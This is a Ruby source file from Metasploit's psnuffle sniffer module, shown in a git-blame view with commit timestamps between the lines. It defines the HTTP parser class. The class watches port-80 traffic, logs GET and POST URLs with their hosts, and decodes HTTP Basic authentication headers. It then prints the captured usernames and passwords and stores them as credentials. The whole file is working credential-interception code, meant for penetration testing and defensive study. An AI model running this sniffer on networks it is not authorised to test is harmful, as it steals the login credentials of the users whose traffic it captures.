2018-07-15 14:16:37 +00:00
|
|
|
# Psnuffle password sniffer add-on class for HTTP URLs
|
2009-08-19 14:07:33 +00:00
|
|
|
# part of psnuffle sniffer auxiliary module
|
2018-07-15 14:16:37 +00:00
|
|
|
|
2009-08-19 14:07:33 +00:00
|
|
|
#
|
2018-07-15 14:16:37 +00:00
|
|
|
# Sniffer class for GET/POST URLs.
|
|
|
|
|
# Also extracts HTTP Basic authentication credentials.
|
2009-08-19 14:07:33 +00:00
|
|
|
#
|
2009-07-17 20:39:06 +00:00
|
|
|
class SnifferURL < BaseProtocolParser
|
2013-09-30 13:47:53 -05:00
|
|
|
def register_sigs
|
|
|
|
|
self.sigs = {
|
2018-07-15 14:16:37 +00:00
|
|
|
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
|
|
|
|
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
|
|
|
|
|
:webhost => /^HOST:\s+([^\n\r]+)/i,
|
|
|
|
|
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
|
2013-09-30 13:47:53 -05:00
|
|
|
}
|
|
|
|
|
end
|
2009-07-17 20:39:06 +00:00
|
|
|
|
2013-09-30 13:47:53 -05:00
|
|
|
def parse(pkt)
|
2018-07-17 12:59:00 -05:00
|
|
|
# We want to return immediately if we do not have a packet which is handled by us
|
2013-09-30 13:47:53 -05:00
|
|
|
return unless pkt.is_tcp?
|
2018-07-15 14:16:37 +00:00
|
|
|
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
|
2013-09-30 13:47:53 -05:00
|
|
|
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
|
2009-07-17 20:39:06 +00:00
|
|
|
|
2013-09-30 13:47:53 -05:00
|
|
|
self.sigs.each_key do |k|
|
2009-11-02 17:59:45 +00:00
|
|
|
|
2013-09-30 13:47:53 -05:00
|
|
|
# There is only one pattern per run to test
|
|
|
|
|
matched = nil
|
|
|
|
|
matches = nil
|
2009-07-17 20:39:06 +00:00
|
|
|
|
2013-09-30 13:47:53 -05:00
|
|
|
if(pkt.payload =~ self.sigs[k])
|
|
|
|
|
matched = k
|
|
|
|
|
matches = $1
|
|
|
|
|
sessions[s[:session]].merge!({k => matches})
|
|
|
|
|
end
|
2009-07-17 20:39:06 +00:00
|
|
|
|
2013-09-30 13:47:53 -05:00
|
|
|
case matched
|
|
|
|
|
when :webhost
|
|
|
|
|
sessions[s[:session]].merge!({k => matches})
|
2018-07-15 14:16:37 +00:00
|
|
|
if s[:get]
|
2013-09-30 13:47:53 -05:00
|
|
|
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
|
2018-07-15 14:16:37 +00:00
|
|
|
end
|
|
|
|
|
if s[:post]
|
|
|
|
|
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
|
|
|
|
|
end
|
|
|
|
|
if s[:basic_auth]
|
|
|
|
|
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
2023-09-25 02:51:08 +05:30
|
|
|
report_cred(
|
|
|
|
|
:ip => s[:host],
|
2023-12-16 23:40:30 +05:30
|
|
|
:port => s[:port],
|
|
|
|
|
:service_name => 'http',
|
2023-09-25 02:51:08 +05:30
|
|
|
:user => s[:user],
|
|
|
|
|
:password => s[:pass],
|
2023-12-16 23:40:30 +05:30
|
|
|
:type => :password,
|
2023-09-25 02:51:08 +05:30
|
|
|
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
|
2023-12-16 23:40:30 +05:30
|
|
|
:status => Metasploit::Model::Login::Status::UNTRIED
|
2023-09-25 02:51:08 +05:30
|
|
|
)
|
2018-07-15 14:16:37 +00:00
|
|
|
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
2013-09-30 13:47:53 -05:00
|
|
|
end
|
|
|
|
|
when nil
|
|
|
|
|
# No matches, no saved state
|
|
|
|
|
end # end case matched
|
|
|
|
|
end # end of each_key
|
|
|
|
|
end # end of parse
|
2009-07-17 20:39:06 +00:00
|
|
|
end # end of URL sniffer
|